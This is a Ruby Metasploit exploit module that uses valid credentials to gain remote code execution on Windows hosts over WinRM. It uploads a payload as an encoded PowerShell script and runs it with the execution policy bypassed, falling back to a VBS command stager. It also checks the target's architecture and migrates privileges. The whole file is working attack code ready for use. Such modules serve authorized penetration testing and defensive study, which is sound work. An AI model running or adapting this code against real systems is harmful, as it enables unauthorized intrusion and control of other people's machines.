##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/winrm/connection'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::WinRM
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WinRM Script Exec Remote Code Execution',
        'Description' => %q{
          This module uses valid credentials to login to the WinRM service
          and execute a payload. It has two available methods for payload
          delivery: Powershell 2 (and above) and VBS CmdStager.

          The module will check if Powershell is available, and if so uses
          that method. Otherwise it falls back to the VBS CmdStager which is
          less stealthy.
        },
        'Author' => [ 'thelightcosine' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1021_006_WINDOWS_REMOTE_MANAGEMENT ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'WfsDelay' => 30,
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64_sleep')
        },
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [ 'Windows', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-11-01',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
      ], self.class
    )
    deregister_options('CMDSTAGER::FLAVOR')
    @compat_mode = false
  end

  def exploit
    check_winrm_parameters
    self.conn = create_winrm_connection
    self.shell = conn.shell(:cmd, {})
    if powershell2?
      path = upload_script
      return if path.nil?

      exec_script(path)
    else
      execute_cmdstager({ flavor: :vbs })
    end
    handler
  end

  # Run the WinRM command
  def winrm_run_cmd(command)
    shell.run(command)
  end

  # Run the WinRM command on a background thread
  def winrm_run_cmd_async(command)
    framework.threads.spawn("winrm_script_exec keepalive worker", false) do
      begin
        winrm_run_cmd(command)
      ensure
        self.shell.close
      end
    end
  end

  # Execute a command on the WinRM shell (called via the VBS Stager)
  def execute_command(cmd, _opts)
    commands = cmd.split(/&/)
    commands.each do |command|
      if command.include? 'cscript'
        winrm_run_cmd_async(command)
      elsif command.include? 'del %TEMP%'
        next
      else
        winrm_run_cmd(command)
      end
    end
  end

  # Uploads a powershell script to the server
  # @return [String] Path to the uploaded script
  def upload_script
    tdir = temp_dir
    return if tdir.nil?

    path = tdir + '\\' + ::Rex::Text.rand_text_alpha(8) + '.ps1'
    print_status("Uploading powershell script to #{path} (This may take a few minutes)...")

    script = Msf::Util::EXE.to_win32pe_psh(framework, payload.encoded)
    # add a sleep to the script to give us enough time to migrate
    script << "\n Start-Sleep -s 20"
    script.each_line do |psline|
      # build our psh command to write out our psh script, meta eh?
      script_line = "Add-Content #{path} '#{psline.chomp}' "
      cmd = encoded_psh(script_line)
      winrm_run_cmd(cmd)
    end
    return path
  end

  # Executes the PowerShell script at the given path
  # @param [String] path Path to the uploaded script
  def exec_script(path)
    print_status('Attempting to execute script...')
    cmd = "#{@invoke_powershell} -ExecutionPolicy bypass -File #{path}"
    winrm_run_cmd_async(cmd)
  end

  # Create a command line to execute the provided script inline
  # @return [String] Command line argument to execute the provided command in the -EncodedCommand parameter
  def encoded_psh(script)
    script = Rex::Text.encode_base64(script.encode('utf-16le')).chomp

    return "#{@invoke_powershell} -encodedCommand #{script}"
  end

  # Gets the temporary directory of the remote shell
  # @return [String] The temporary directory of the remote shell
  def temp_dir
    print_status('Grabbing %TEMP%')
    cmd = 'echo %TEMP%'
    output = winrm_run_cmd(cmd)
    return output.stdout.chomp
  end

  # The architecture of the remote system
  def get_remote_arch
    wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
    resp = conn.run_wql(wql)
    addr_width = resp[:xml_fragment][0][:address_width]
    if addr_width == '64'
      return ARCH_X64
    else
      return ARCH_X86
    end
  end

  # Verifies that the remote architecture is compatible with our payload
  # @return [Boolean] Does the payload match the architecture?
  # @note Sets @compat_mode to true if running x86 payload on x64 arch
  def correct_payload_arch?
    @target_arch = get_remote_arch
    case @target_arch
    when ARCH_X64
      unless datastore['PAYLOAD'].include?(ARCH_X64)
        print_error('You selected an x86 payload for an x64 target...trying to run in compat mode')
        @compat_mode = true
        return false
      end
    when ARCH_X86
      if datastore['PAYLOAD'].include?(ARCH_X64)
        print_error('You selected an x64 payload for an x86 target')
        return false
      end
    end
    return true
  end

  # Is PowerShell version 2 (or above) available
  # @return [Boolean]
  # @note Sets @invoke_powershell based on whether @compat_mode is set - to potentially force the use of x86 PowerShell while on an x64 system
  def powershell2?
    if datastore['FORCE_VBS']
      print_status('User selected the FORCE_VBS option')
      return false
    end
    print_status('Checking for Powershell 2.0')
    output = winrm_run_cmd('powershell Get-Host')
    if output.stderr.include? 'not recognized'
      print_error('Powershell is not installed')
      return false
    end
    output.stdout.each_line do |line|
      next unless line.start_with? 'Version'

      major_version = line.match(/\d(?=\.)/)[0]
      if major_version == '1'
        print_error('The target is running an older version of Powershell')
        return false
      end
    end

    return false unless correct_payload_arch? || (@target_arch == ARCH_X64)

    if @compat_mode == true
      @invoke_powershell = '%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
    else
      @invoke_powershell = 'powershell'
    end

    return true
  end

  # @return [WinRM::Shells::Cmd] The WinRM Shell object
  attr_accessor :shell

  # @return [Net::MsfWinRM::RexWinRMConnection] The WinRM connection
  attr_accessor :conn
end
